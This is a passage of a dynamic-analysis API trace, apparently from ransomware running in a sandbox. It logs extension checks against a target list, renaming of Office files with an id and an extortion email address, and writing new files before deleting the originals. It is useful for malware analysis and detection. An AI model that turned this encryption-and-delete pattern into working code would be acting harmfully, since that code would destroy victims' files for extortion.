(lpString1=".zip", lpString2=".xml") returned 1 [0054.009] lstrlenW (lpString=".rar") returned 4 [0054.009] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.009] lstrlenW (lpString=".bz2") returned 4 [0054.009] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.009] lstrlenW (lpString=".7z") returned 3 [0054.009] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.010] lstrlenW (lpString=".dbf") returned 4 [0054.010] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.010] lstrlenW (lpString=".1cd") returned 4 [0054.010] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.010] lstrlenW (lpString=".jpg") returned 4 [0054.010] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.010] lstrlenW (lpString=".doc") returned 4 [0054.010] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.010] lstrlenW (lpString=".docx") returned 5 [0054.010] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0054.010] lstrlenW (lpString=".pdf") returned 4 [0054.010] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.010] lstrlenW (lpString=".xls") returned 4 [0054.011] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.011] lstrlenW (lpString=".xlsx") returned 5 [0054.011] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0054.011] lstrlenW (lpString=".ppt") returned 4 [0054.011] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.011] lstrlenW (lpString=".zip") returned 4 [0054.011] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.011] lstrlenW (lpString=".rar") returned 4 [0054.011] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.011] lstrlenW (lpString=".bz2") returned 4 [0054.011] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.011] lstrlenW (lpString=".7z") returned 3 [0054.011] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.011] lstrlenW (lpString=".dbf") returned 4 [0054.011] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.011] lstrlenW (lpString=".1cd") returned 4 [0054.011] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml") returned 61 [0054.012] lstrlenW (lpString=".jpg") returned 4 [0054.012] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.012] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0054.012] lstrlenW (lpString="ipsrus.xml") returned 10 [0054.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.682] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2542) returned 1 [0054.682] CloseHandle (hObject=0x1c0) returned 1 [0054.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0054.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0054.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.682] lstrlenW (lpString=".doc") returned 4 [0054.682] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.682] lstrlenW (lpString=".docx") returned 5 [0054.682] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0054.682] lstrlenW (lpString=".pdf") returned 4 [0054.683] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.683] lstrlenW (lpString=".xls") returned 4 [0054.683] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.683] lstrlenW (lpString=".xlsx") returned 5 [0054.683] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0054.683] lstrlenW (lpString=".ppt") returned 4 [0054.683] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.683] lstrlenW (lpString=".zip") returned 4 [0054.683] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.683] lstrlenW (lpString=".rar") returned 4 [0054.683] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.683] lstrlenW (lpString=".bz2") returned 4 [0054.683] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.683] lstrlenW (lpString=".7z") returned 3 [0054.683] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.683] lstrlenW (lpString=".dbf") returned 4 [0054.683] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.683] lstrlenW (lpString=".1cd") returned 4 [0054.683] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.684] lstrlenW (lpString=".jpg") returned 4 [0054.684] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.684] lstrlenW (lpString=".doc") returned 4 [0054.684] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.684] lstrlenW (lpString=".docx") returned 5 [0054.684] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0054.684] lstrlenW (lpString=".pdf") returned 4 [0054.684] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.684] lstrlenW (lpString=".xls") returned 4 [0054.684] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.684] lstrlenW (lpString=".xlsx") returned 5 [0054.684] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0054.684] lstrlenW (lpString=".ppt") returned 4 [0054.684] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.684] lstrlenW (lpString=".zip") returned 4 [0054.684] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.685] lstrlenW (lpString=".rar") returned 4 [0054.685] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.685] lstrlenW (lpString=".bz2") returned 4 [0054.685] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.685] lstrlenW (lpString=".7z") returned 3 [0054.685] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.685] lstrlenW (lpString=".dbf") returned 4 [0054.685] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.685] lstrlenW (lpString=".1cd") returned 4 [0054.685] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml") returned 61 [0054.685] lstrlenW (lpString=".jpg") returned 4 [0054.685] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.685] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0054.685] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0054.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.686] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=913) returned 1 [0054.686] CloseHandle (hObject=0x1c0) returned 1 [0054.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0054.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0054.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0054.686] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.687] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.482] GetLastError () returned 0x0 [0056.482] ReadFile (in: hFile=0x1c0, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x391, lpOverlapped=0x0) returned 1 [0056.497] WriteFile (in: hFile=0x19c, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0056.499] ReadFile (in: hFile=0x1c0, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.499] WriteFile (in: hFile=0x19c, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xee, lpOverlapped=0x0) returned 1 [0056.499] SetEndOfFile (hFile=0x19c) returned 1 [0056.500] CloseHandle (hObject=0x19c) returned 1 [0056.501] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.502] SetEndOfFile (hFile=0x1c0) returned 1 [0056.504] CloseHandle (hObject=0x1c0) returned 1 [0056.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0056.504] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0056.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.505] lstrlenW (lpString=".doc") returned 4 [0056.505] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0056.505] lstrlenW (lpString=".docx") returned 5 [0056.505] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0056.505] lstrlenW (lpString=".pdf") returned 4 [0056.505] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0056.505] lstrlenW (lpString=".xls") returned 4 [0056.505] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0056.505] lstrlenW (lpString=".xlsx") returned 5 [0056.505] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0056.505] lstrlenW (lpString=".ppt") returned 4 [0056.505] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0056.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.506] lstrlenW (lpString=".zip") returned 4 [0056.506] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0056.506] lstrlenW (lpString=".rar") returned 4 [0056.506] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0056.506] lstrlenW (lpString=".bz2") returned 4 [0056.506] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0056.506] lstrlenW (lpString=".7z") returned 3 [0056.506] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0056.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.506] lstrlenW (lpString=".dbf") returned 4 [0056.506] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0056.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.506] lstrlenW (lpString=".1cd") returned 4 [0056.506] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0056.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.506] lstrlenW (lpString=".jpg") returned 4 [0056.506] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0056.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.506] lstrlenW (lpString=".doc") returned 4 [0056.506] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0056.507] lstrlenW (lpString=".docx") returned 5 [0056.507] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0056.507] lstrlenW (lpString=".pdf") returned 4 [0056.507] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0056.507] lstrlenW (lpString=".xls") returned 4 [0056.507] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0056.507] lstrlenW (lpString=".xlsx") returned 5 [0056.507] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0056.507] lstrlenW (lpString=".ppt") returned 4 [0056.507] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0056.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.507] lstrlenW (lpString=".zip") returned 4 [0056.507] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0056.507] lstrlenW (lpString=".rar") returned 4 [0056.507] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0056.507] lstrlenW (lpString=".bz2") returned 4 [0056.507] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0056.507] lstrlenW (lpString=".7z") returned 3 [0056.507] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0056.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.507] lstrlenW (lpString=".dbf") returned 4 [0056.508] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0056.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.508] lstrlenW (lpString=".1cd") returned 4 [0056.508] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0056.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0056.508] lstrlenW (lpString=".jpg") returned 4 [0056.508] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0056.508] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0056.508] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0056.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0056.509] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=819) returned 1 [0056.509] CloseHandle (hObject=0x1c0) returned 1 [0056.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0056.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0056.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0056.510] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.510] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.510] GetLastError () returned 0x0 [0056.510] ReadFile (in: hFile=0x1c0, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x333, lpOverlapped=0x0) returned 1 [0056.513] WriteFile (in: hFile=0x19c, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x340, lpOverlapped=0x0) returned 1 [0056.515] ReadFile (in: hFile=0x1c0, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.515] WriteFile (in: hFile=0x19c, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0056.515] SetEndOfFile (hFile=0x19c) returned 1 [0056.515] CloseHandle (hObject=0x19c) returned 1 [0056.516] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.516] SetEndOfFile (hFile=0x1c0) returned 1 [0057.185] CloseHandle (hObject=0x1c0) returned 1 [0057.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0057.186] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0057.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.735] lstrlenW (lpString=".doc") returned 4 [0057.735] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0057.735] lstrlenW (lpString=".docx") returned 5 [0057.735] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0057.735] lstrlenW (lpString=".pdf") returned 4 [0057.735] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0057.735] lstrlenW (lpString=".xls") returned 4 [0057.735] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0057.736] lstrlenW (lpString=".xlsx") returned 5 [0057.736] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0057.736] lstrlenW (lpString=".ppt") returned 4 [0057.736] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0057.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.736] lstrlenW (lpString=".zip") returned 4 [0057.736] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0057.736] lstrlenW (lpString=".rar") returned 4 [0057.736] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0057.736] lstrlenW (lpString=".bz2") returned 4 [0057.736] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0057.736] lstrlenW (lpString=".7z") returned 3 [0057.736] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0057.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.736] lstrlenW (lpString=".dbf") returned 4 [0057.736] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0057.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.736] lstrlenW (lpString=".1cd") returned 4 [0057.736] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0057.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.736] lstrlenW (lpString=".jpg") returned 4 [0057.737] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0057.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.737] lstrlenW (lpString=".doc") returned 4 [0057.737] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0057.737] lstrlenW (lpString=".docx") returned 5 [0057.737] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0057.737] lstrlenW (lpString=".pdf") returned 4 [0057.737] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0057.737] lstrlenW (lpString=".xls") returned 4 [0057.737] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0057.737] lstrlenW (lpString=".xlsx") returned 5 [0057.737] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0057.737] lstrlenW (lpString=".ppt") returned 4 [0057.737] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0057.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0057.737] lstrlenW 